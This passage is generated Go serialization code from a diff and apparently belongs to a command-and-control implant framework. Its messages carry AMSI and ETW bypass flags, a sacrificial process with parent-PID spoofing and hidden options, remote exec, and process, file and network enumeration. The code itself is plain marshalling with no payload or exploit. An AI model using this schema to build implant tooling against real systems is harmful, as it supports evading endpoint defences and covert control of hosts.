s.WriteObjectField("kv") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Kv { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + if len(x.Array) > 0 || s.HasField("array") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("array") + s.WriteStringArray(x.Array) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Response to JSON. +func (x *Response) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Response message from JSON. +func (x *Response) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "output": + s.AddField("output") + x.Output = s.ReadString() + case "error": + s.AddField("error") + x.Error = s.ReadString() + case "kv": + s.AddField("kv") + if s.ReadNil() { + x.Kv = nil + return + } + x.Kv = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Kv[key] = s.ReadString() + }) + case "array": + s.AddField("array") + if s.ReadNil() { + x.Array = nil + return + } + x.Array = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the Response from JSON. +func (x *Response) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the BypassRequest message to JSON. +func (x *BypassRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.ETW || s.HasField("ETW") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ETW") + s.WriteBool(x.ETW) + } + if x.AMSI || s.HasField("AMSI") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("AMSI") + s.WriteBool(x.AMSI) + } + if x.BlockDll || s.HasField("blockDll") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("blockDll") + s.WriteBool(x.BlockDll) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the BypassRequest to JSON. +func (x *BypassRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the BypassRequest message from JSON. +func (x *BypassRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "ETW": + s.AddField("ETW") + x.ETW = s.ReadBool() + case "AMSI": + s.AddField("AMSI") + x.AMSI = s.ReadBool() + case "block_dll", "blockDll": + s.AddField("block_dll") + x.BlockDll = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the BypassRequest from JSON. +func (x *BypassRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the NetInterface message to JSON. +func (x *NetInterface) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Index != 0 || s.HasField("index") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("index") + s.WriteInt32(x.Index) + } + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Mac != "" || s.HasField("mac") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("mac") + s.WriteString(x.Mac) + } + if len(x.IpAddresses) > 0 || s.HasField("ipAddresses") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ipAddresses") + s.WriteStringArray(x.IpAddresses) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the NetInterface to JSON. +func (x *NetInterface) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the NetInterface message from JSON. +func (x *NetInterface) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "index": + s.AddField("index") + x.Index = s.ReadInt32() + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "mac": + s.AddField("mac") + x.Mac = s.ReadString() + case "ip_addresses", "ipAddresses": + s.AddField("ip_addresses") + if s.ReadNil() { + x.IpAddresses = nil + return + } + x.IpAddresses = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the NetInterface from JSON. +func (x *NetInterface) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the SockTabEntry message to JSON. +func (x *SockTabEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.LocalAddr != "" || s.HasField("localAddr") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("localAddr") + s.WriteString(x.LocalAddr) + } + if x.RemoteAddr != "" || s.HasField("remoteAddr") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("remoteAddr") + s.WriteString(x.RemoteAddr) + } + if x.SkState != "" || s.HasField("skState") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("skState") + s.WriteString(x.SkState) + } + if x.Pid != "" || s.HasField("pid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pid") + s.WriteString(x.Pid) + } + if x.Protocol != "" || s.HasField("protocol") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("protocol") + s.WriteString(x.Protocol) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the SockTabEntry to JSON. +func (x *SockTabEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the SockTabEntry message from JSON. +func (x *SockTabEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "local_addr", "localAddr": + s.AddField("local_addr") + x.LocalAddr = s.ReadString() + case "remote_addr", "remoteAddr": + s.AddField("remote_addr") + x.RemoteAddr = s.ReadString() + case "skState": + s.AddField("skState") + x.SkState = s.ReadString() + case "pid": + s.AddField("pid") + x.Pid = s.ReadString() + case "protocol": + s.AddField("protocol") + x.Protocol = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the SockTabEntry from JSON. +func (x *SockTabEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the NetstatResponse message to JSON. +func (x *NetstatResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Socks) > 0 || s.HasField("socks") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("socks") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Socks { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("socks")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the NetstatResponse to JSON. +func (x *NetstatResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the NetstatResponse message from JSON. +func (x *NetstatResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "socks": + s.AddField("socks") + if s.ReadNil() { + x.Socks = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Socks = append(x.Socks, nil) + return + } + v := &SockTabEntry{} + v.UnmarshalProtoJSON(s.WithField("socks", false)) + if s.Err() != nil { + return + } + x.Socks = append(x.Socks, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the NetstatResponse from JSON. +func (x *NetstatResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Block message to JSON. +func (x *Block) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.BlockId != 0 || s.HasField("blockId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("blockId") + s.WriteUint32(x.BlockId) + } + if len(x.Content) > 0 || s.HasField("content") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("content") + s.WriteBytes(x.Content) + } + if x.End || s.HasField("end") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("end") + s.WriteBool(x.End) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Block to JSON. +func (x *Block) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Block message from JSON. +func (x *Block) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "block_id", "blockId": + s.AddField("block_id") + x.BlockId = s.ReadUint32() + case "content": + s.AddField("content") + x.Content = s.ReadBytes() + case "end": + s.AddField("end") + x.End = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the Block from JSON. +func (x *Block) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ACK message to JSON. +func (x *ACK) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Id != 0 || s.HasField("id") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("id") + s.WriteUint32(x.Id) + } + if x.Success || s.HasField("success") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("success") + s.WriteBool(x.Success) + } + if x.End || s.HasField("end") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("end") + s.WriteBool(x.End) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ACK to JSON. +func (x *ACK) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ACK message from JSON. +func (x *ACK) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "id": + s.AddField("id") + x.Id = s.ReadUint32() + case "success": + s.AddField("success") + x.Success = s.ReadBool() + case "end": + s.AddField("end") + x.End = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the ACK from JSON. +func (x *ACK) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Os message to JSON. +func (x *Os) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Version != "" || s.HasField("version") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("version") + s.WriteString(x.Version) + } + if x.Release != "" || s.HasField("release") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("release") + s.WriteString(x.Release) + } + if x.Arch != "" || s.HasField("arch") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("arch") + s.WriteString(x.Arch) + } + if x.Username != "" || s.HasField("username") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("username") + s.WriteString(x.Username) + } + if x.Hostname != "" || s.HasField("hostname") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hostname") + s.WriteString(x.Hostname) + } + if x.Locale != "" || s.HasField("locale") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("locale") + s.WriteString(x.Locale) + } + if len(x.ClrVersion) > 0 || s.HasField("clrVersion") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("clrVersion") + s.WriteStringArray(x.ClrVersion) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Os to JSON. +func (x *Os) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Os message from JSON. +func (x *Os) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "version": + s.AddField("version") + x.Version = s.ReadString() + case "release": + s.AddField("release") + x.Release = s.ReadString() + case "arch": + s.AddField("arch") + x.Arch = s.ReadString() + case "username": + s.AddField("username") + x.Username = s.ReadString() + case "hostname": + s.AddField("hostname") + x.Hostname = s.ReadString() + case "locale": + s.AddField("locale") + x.Locale = s.ReadString() + case "clr_version", "clrVersion": + s.AddField("clr_version") + if s.ReadNil() { + x.ClrVersion = nil + return + } + x.ClrVersion = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the Os from JSON. +func (x *Os) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Process message to JSON. +func (x *Process) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Pid != 0 || s.HasField("pid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pid") + s.WriteUint32(x.Pid) + } + if x.Ppid != 0 || s.HasField("ppid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ppid") + s.WriteUint32(x.Ppid) + } + if x.Owner != "" || s.HasField("owner") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("owner") + s.WriteString(x.Owner) + } + if x.Arch != "" || s.HasField("arch") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("arch") + s.WriteString(x.Arch) + } + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Args != "" || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteString(x.Args) + } + if x.Uid != "" || s.HasField("uid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("uid") + s.WriteString(x.Uid) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Process to JSON. +func (x *Process) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Process message from JSON. +func (x *Process) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "pid": + s.AddField("pid") + x.Pid = s.ReadUint32() + case "ppid": + s.AddField("ppid") + x.Ppid = s.ReadUint32() + case "owner": + s.AddField("owner") + x.Owner = s.ReadString() + case "arch": + s.AddField("arch") + x.Arch = s.ReadString() + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "args": + s.AddField("args") + x.Args = s.ReadString() + case "uid": + s.AddField("uid") + x.Uid = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Process from JSON. +func (x *Process) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Timer message to JSON. +func (x *Timer) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Expression != "" || s.HasField("expression") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("expression") + s.WriteString(x.Expression) + } + if x.Jitter != 0 || s.HasField("jitter") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("jitter") + s.WriteFloat64(x.Jitter) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Timer to JSON. +func (x *Timer) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Timer message from JSON. +func (x *Timer) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "expression": + s.AddField("expression") + x.Expression = s.ReadString() + case "jitter": + s.AddField("jitter") + x.Jitter = s.ReadFloat64() + } + }) +} + +// UnmarshalJSON unmarshals the Timer from JSON. +func (x *Timer) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the FileInfo message to JSON. +func (x *FileInfo) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("Name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Name") + s.WriteString(x.Name) + } + if x.IsDir || s.HasField("IsDir") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("IsDir") + s.WriteBool(x.IsDir) + } + if x.Size != 0 || s.HasField("Size") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Size") + s.WriteUint64(x.Size) + } + if x.ModTime != 0 || s.HasField("ModTime") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ModTime") + s.WriteInt64(x.ModTime) + } + if x.Mode != 0 || s.HasField("Mode") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Mode") + s.WriteUint32(x.Mode) + } + if x.Link != "" || s.HasField("Link") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Link") + s.WriteString(x.Link) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the FileInfo to JSON. +func (x *FileInfo) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the FileInfo message from JSON. +func (x *FileInfo) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "Name": + s.AddField("Name") + x.Name = s.ReadString() + case "IsDir": + s.AddField("IsDir") + x.IsDir = s.ReadBool() + case "Size": + s.AddField("Size") + x.Size = s.ReadUint64() + case "ModTime": + s.AddField("ModTime") + x.ModTime = s.ReadInt64() + case "Mode": + s.AddField("Mode") + x.Mode = s.ReadUint32() + case "Link": + s.AddField("Link") + x.Link = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the FileInfo from JSON. +func (x *FileInfo) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the SacrificeProcess message to JSON. +func (x *SacrificeProcess) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Hidden || s.HasField("hidden") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hidden") + s.WriteBool(x.Hidden) + } + if x.BlockDll || s.HasField("blockDll") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("blockDll") + s.WriteBool(x.BlockDll) + } + if x.Etw || s.HasField("etw") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("etw") + s.WriteBool(x.Etw) + } + if x.Ppid != 0 || s.HasField("ppid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ppid") + s.WriteUint32(x.Ppid) + } + if x.Argue != "" || s.HasField("argue") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("argue") + s.WriteString(x.Argue) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the SacrificeProcess to JSON. +func (x *SacrificeProcess) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the SacrificeProcess message from JSON. +func (x *SacrificeProcess) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "hidden": + s.AddField("hidden") + x.Hidden = s.ReadBool() + case "block_dll", "blockDll": + s.AddField("block_dll") + x.BlockDll = s.ReadBool() + case "etw": + s.AddField("etw") + x.Etw = s.ReadBool() + case "ppid": + s.AddField("ppid") + x.Ppid = s.ReadUint32() + case "argue": + s.AddField("argue") + x.Argue = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the SacrificeProcess from JSON. +func (x *SacrificeProcess) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the LsResponse message to JSON. +func (x *LsResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Path != "" || s.HasField("Path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Path") + s.WriteString(x.Path) + } + if x.Exists || s.HasField("Exists") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Exists") + s.WriteBool(x.Exists) + } + if len(x.Files) > 0 || s.HasField("Files") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("Files") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Files { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("Files")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the LsResponse to JSON. +func (x *LsResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the LsResponse message from JSON. +func (x *LsResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "Path": + s.AddField("Path") + x.Path = s.ReadString() + case "Exists": + s.AddField("Exists") + x.Exists = s.ReadBool() + case "Files": + s.AddField("Files") + if s.ReadNil() { + x.Files = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Files = append(x.Files, nil) + return + } + v := &FileInfo{} + v.UnmarshalProtoJSON(s.WithField("Files", false)) + if s.Err() != nil { + return + } + x.Files = append(x.Files, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the LsResponse from JSON. +func (x *LsResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the DriveInfo message to JSON. +func (x *DriveInfo) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.DriveType != "" || s.HasField("driveType") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("driveType") + s.WriteString(x.DriveType) + } + if x.TotalSize != 0 || s.HasField("totalSize") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("totalSize") + s.WriteUint64(x.TotalSize) + } + if x.FreeSize != 0 || s.HasField("freeSize") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("freeSize") + s.WriteUint64(x.FreeSize) + } + if x.FileSystem != "" || s.HasField("fileSystem") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("fileSystem") + s.WriteString(x.FileSystem) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the DriveInfo to JSON. +func (x *DriveInfo) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the DriveInfo message from JSON. +func (x *DriveInfo) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "drive_type", "driveType": + s.AddField("drive_type") + x.DriveType = s.ReadString() + case "total_size", "totalSize": + s.AddField("total_size") + x.TotalSize = s.ReadUint64() + case "free_size", "freeSize": + s.AddField("free_size") + x.FreeSize = s.ReadUint64() + case "file_system", "fileSystem": + s.AddField("file_system") + x.FileSystem = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the DriveInfo from JSON. +func (x *DriveInfo) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the EnumDriversResponse message to JSON. +func (x *EnumDriversResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Drives) > 0 || s.HasField("drives") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("drives") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Drives { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("drives")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the EnumDriversResponse to JSON. +func (x *EnumDriversResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the EnumDriversResponse message from JSON. +func (x *EnumDriversResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "drives": + s.AddField("drives") + if s.ReadNil() { + x.Drives = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Drives = append(x.Drives, nil) + return + } + v := &DriveInfo{} + v.UnmarshalProtoJSON(s.WithField("drives", false)) + if s.Err() != nil { + return + } + x.Drives = append(x.Drives, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the EnumDriversResponse from JSON. +func (x *EnumDriversResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PsResponse message to JSON. +func (x *PsResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Processes) > 0 || s.HasField("processes") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("processes") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Processes { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("processes")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PsResponse to JSON. +func (x *PsResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PsResponse message from JSON. +func (x *PsResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "processes": + s.AddField("processes") + if s.ReadNil() { + x.Processes = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Processes = append(x.Processes, nil) + return + } + v := &Process{} + v.UnmarshalProtoJSON(s.WithField("processes", false)) + if s.Err() != nil { + return + } + x.Processes = append(x.Processes, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the PsResponse from JSON. +func (x *PsResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecRequest message to JSON. +func (x *ExecRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if len(x.Args) > 0 || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteStringArray(x.Args) + } + if x.Output || s.HasField("output") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("output") + s.WriteBool(x.Output) + } + if x.Singleton || s.HasField("singleton") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("singleton") + s.WriteBool(x.Singleton) + } + if x.Realtime || s.HasField("realtime") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("realtime") + s.WriteBool(x.Realtime) + } + if x.Ppid != 0 || s.HasField("ppid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("ppid") + s.WriteUint32(x.Ppid) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecRequest to JSON. +func (x *ExecRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecRequest message from JSON. +func (x *ExecRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "args": + s.AddField("args") + if s.ReadNil() { + x.Args = nil + return + } + x.Args = s.ReadStringArray() + case "output": + s.AddField("output") + x.Output = s.ReadBool() + case "singleton": + s.AddField("singleton") + x.Singleton = s.ReadBool() + case "realtime": + s.AddField("realtime") + x.Realtime = s.ReadBool() + case "ppid": + s.AddField("ppid") + x.Ppid = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the ExecRequest from JSON. +func (x *ExecRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecResponse message to JSON. +func (x *ExecResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.StatusCode != 0 || s.HasField("statusCode") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("statusCode") + s.WriteInt32(x.StatusCode) + } + if len(x.Stdout) > 0 || 